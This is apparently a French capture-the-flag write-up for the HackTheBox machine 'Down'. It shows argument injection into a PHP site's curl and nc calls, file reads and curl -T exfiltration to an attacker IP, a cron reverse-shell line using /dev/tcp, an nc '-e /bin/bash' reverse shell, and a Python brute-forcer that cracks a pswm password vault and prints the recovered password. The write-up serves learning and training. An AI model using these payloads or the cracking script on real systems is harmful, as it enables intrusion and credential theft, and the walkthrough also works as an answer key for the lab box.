Foothold
Le nmap nous donne les deux ports classiques
# Nmap 7.93 scan initiated Thu Apr 2 14:32:08 2026 as: nmap -sCV -T4 -p- -v -oN nmap.out down.htb
Nmap scan report for down.htb (10.129.234.87)
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f6cc217ccadaed34fd04efe6f94cddf8 (ECDSA)
|_ 256 fa061ff4bf8ce3b0c840210d5706dd11 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Is it down or just me?
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 2 14:32:44 2026 -- 1 IP address (1 host up) scanned in 35.88 seconds
{ # a l'air de faire bugger la requête
{7*7} # changé en 7*7
# fait crash la requête
On voit que l’on peut envoyer des requêtes vers les sites webs que l’on veut.
On voit au passage que tous les caractères sont échappés. En testant un peu on voit qu’il est impossible d’échapper au contrôle, on ne pourra pas faire exécuter ce que l’on veut. On tente aussi file:// qui ne fonctionne pas, le site n’accepte que http et https en protocole et il vérifie. On va observer la requête reçue à la recherche d’indices: on lance un listener sur notre machine
nc -nlvp 80
Et on lance une connexion depuis le site web.
On voit que le User-Agent est curl. On sait notamment que curl propose d’autres protocoles comme file et gohper. On va creuser la piste de file:// en utilisant des caractères problématiques d’une seclist (seclists/Fuzzing/special-chars.txt). Il faut bien penser à désactiver l’encodage des chars.
On lance et on trouve une réponse bien plus longue que les autres: celle avec un +. Et voilà notre vulnérabilité, on peut lire les fichiers maintenant.
Exploration des configs
En allant chercher /proc/self/environ on toruve quelques infos intéressantes.
APACHE_RUN_DIR=/var/run/apache2
SYSTEMD_EXEC_PID=1112
APACHE_PID_FILE=/var/run/apache2/apache2.pid
JOURNAL_STREAM=8:25307
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
INVOCATION_ID=f52a7e51fe384e33be75f86262e28a25
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C APACHE_RUN_USER=www-data
APACHE_RUN_GROUP=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
et dans /proc/self/cmdline on trouve la commande qui tourne
/usr/bin/curl -s http:// file:///proc/self/cmdline
Un truc intéressant notamment est l’option, on voit que si l’on utilise -T on pourrait démarrer un listener localement et s’envoyer des fichiers depuis le serveur, avec par exemple
http://10.10.15.35:3333+-T+/etc/passwd
Cela pourrait servir à lire directement un fichier comme /home/user/.ssh/authorized_keys ou /home/user/.ssh/id_ed25519 et se connecter en ssh. Malheureusement le process tourne en tant que www-data, on ne peut rien lire.
Dans l’autre sens, avec -o on peut upload des fichiers, par exemple:
http://10.10.15.35:3333/file -o /tmp/file
Ca pourrait nous permettre d’écrire un script comme
* * * * * root bash -i >& /dev/tcp/10.10.10.11/9001 0>&1
dans /etc/cron.d/shell et obtenir un shell ou écrire notre propre clé ssh, mais encore une fois on y a pas accès.
url=http://10.10.15.35:3333/shell.php+-o+/var/www/html/shell.php
ne fonctionne bizarrement pas non plus.
En cherchant dans /etc/apache2/apache2.conf puis /etc/apache2/envvars, on finit par trouver
SUFFIX="-${APACHE_CONFDIR##/etc/apache2-}"
else
SUFFIX=
fi
# Since there is no sane way to get the parsed apache2 config in scripts, some
# settings are defined via environment variables and then used in apache2ctl,
# /etc/init.d/apache2, /etc/logrotate.d/apache2, etc.
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
Solution
En faisant un fetch sur index.php on lit
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Is it down or just me?</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<img src="/logo.png" alt="Logo">
<h2>Is it down or just me?</h2>
</header>
<div class="container">
<?php
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' ) {
echo '<h1>Is the port refused, or is it just you?</h1>
<form id="urlForm" action="index.php?expertmode=tcp" method="POST">
<input type="text" id="url" name="ip" placeholder="Please enter an IP." required><br>
<input type="number" id="port" name="port" placeholder="Please enter a port number." required><br>
<button type="submit">Is it refused?</button>
</form>';
} else {
echo '<h1>Is that website down, or is it just you?</h1>
<form id="urlForm" action="index.php" method="POST">
<input type="url" id="url" name="url" placeholder="Please enter a URL." required><br>
<button type="submit">Is it down?</button>
</form>';
}
if ( isset($_GET['expertmode']) && $_GET['expertmode'] === 'tcp' && isset($_POST['ip']) && isset($_POST['port']) ) {
$ip = trim($_POST['ip']);
$valid_ip = filter_var($ip, FILTER_VALIDATE_IP);
$port = trim($_POST['port']);
$port_int = intval($port);
$valid_port = filter_var($port_int, FILTER_VALIDATE_INT);
if ( $valid_ip && $valid_port ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/nc -vz $ip $port");
exec($ec . " 2>&1", $output, $rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Please specify a correct IP and a port between 1 and 65535.</font>';
}
} elseif (isset($_POST['url'])) {
$url = trim($_POST['url']);
if ( preg_match('|^https?://|', $url) ) {
$rc = 255; $output = '';
$ec = escapeshellcmd("/usr/bin/curl -s $url");
exec($ec . " 2>&1", $output, $rc);
echo '<div class="output" id="outputSection">';
if ( $rc === 0 ) {
echo "<font size=+1>It is up. It's just you! 😝</font><br><br>";
echo '<p id="outputDetails"><pre>'.htmlspecialchars(implode("\n",$output)).'</pre></p>';
} else {
echo "<font size=+1>It is down for everyone! 😔</font><br><br>";
}
} else {
echo '<div class="output" id="outputSection">';
echo '<font color=red size=+1>Only protocols http or https allowed.</font>';
}
}
?>
</div>
</div>
<footer>© 2024 isitdownorjustme LLC</footer>
</body>
</html>
On voit notamment le “mode expert” et on voit que l’on peut passer des valeurs. On tente alors de s’envoyer un reverse shell et bingo, on a quelque chose! En fait il fallait voir que le port utilisé est port mais que tous les filtres sont appliqués à valid_port, leur sanitization est donc inutile.
ip=10.10.15.35&port=4444+-e+/bin/bash
On a aussi le flag utilisateur une fois arrivés dessus.
Privilege Escalation to user
On se balade un peu dans le /home pour voir ce que l’on peut trouver et on trouve un dossier /home/aleks/.local/share/pswm/pswm, qui contient
e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==
En regardant un peu dans le code de pswm, on remarque que cela correspond à une chaîne de caractère passée par python's cryptocode.encrypt avec comme master password un mdp entré par l’utilisateur.
On peut donc le déchiffrer avec
import cryptocode
print(cryptocode.decrypt("e9laWoKiJ0OdwK05b3hG7xMD+uIBBwl/v01lBRD+pntORa6Z/Xu/TdN3aG/ksAA0Sz55/kLggw==*xHnWpIqBWc25rrHFGPzyTg==*4Nt/05WUbySGyvDgSlpoUw==*u65Jfe0ml9BFaKEviDCHBQ==", "<master>"))
Malheureusement, on ne peut pas obtenir le master password, heureusement il y a une fonctionnalité qui fait que si le mot de passe n’est pas le bon, on obtient False plutôt que de ne juste pas déchiffrer le message, on va donc opter pour le brute force.
import cryptocode
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("cipher", help="the cipher, the message you want to brute force")
parser.add_argument("list", help="list of passwords to try")
#Function to verify that the key is valid:
def encrypt(message, masterPassword):
myEncryptedMessage = cryptocode.encrypt(message, masterPassword)
return myEncryptedMessage
def decrypt(message, masterPassword):
myDecryptedMessage = cryptocode.decrypt(message, masterPassword)
return myDecryptedMessage
def brute(cipher, list):
with open(list, "r", encoding='latin-1') as p:
lines = p.readlines()
lineIndex = 0
plain = False
while (lineIndex < len(lines) and plain == False):
line = lines[lineIndex]
passwd = line.rstrip()
plain = decrypt(cipher, passwd)
lineIndex += 1
if (lineIndex <= len(lines)):
return plain, passwd
return None
def main():
args = parser.parse_args()
passwordsFile = args.list
print("Password list is: ", args.list)
print("Ciphers list is: ", args.cipher)
print()
print()
cipherFile = args.cipher
with open(cipherFile, "r", encoding='latin-1') as c:
lines = c.readlines()
for line in lines:
cipher = line.rstrip()
print("Now trying to decipher: ", cipher)
res = brute(cipher, passwordsFile)
if res:
print("success: ", res)
if __name__ == "__main__":
main()
trouvable aussi dans ce gist.
Et avec cet outil, on trouve rapidement notre hash:
success: ('pswm\taleks\tflower\naleks@down\taleks\t1uY3w22uc-Wr{xNHR~+E', 'flower')
Et juste comme ça, on a le mdp
1uY3w22uc-Wr{xNHR~+E
PrivEsc to root
Une fois ça fait on en fait l’accès root, aleks a tous les droits sur la machine. Et voilà
On prend notre flag et la box est finie!







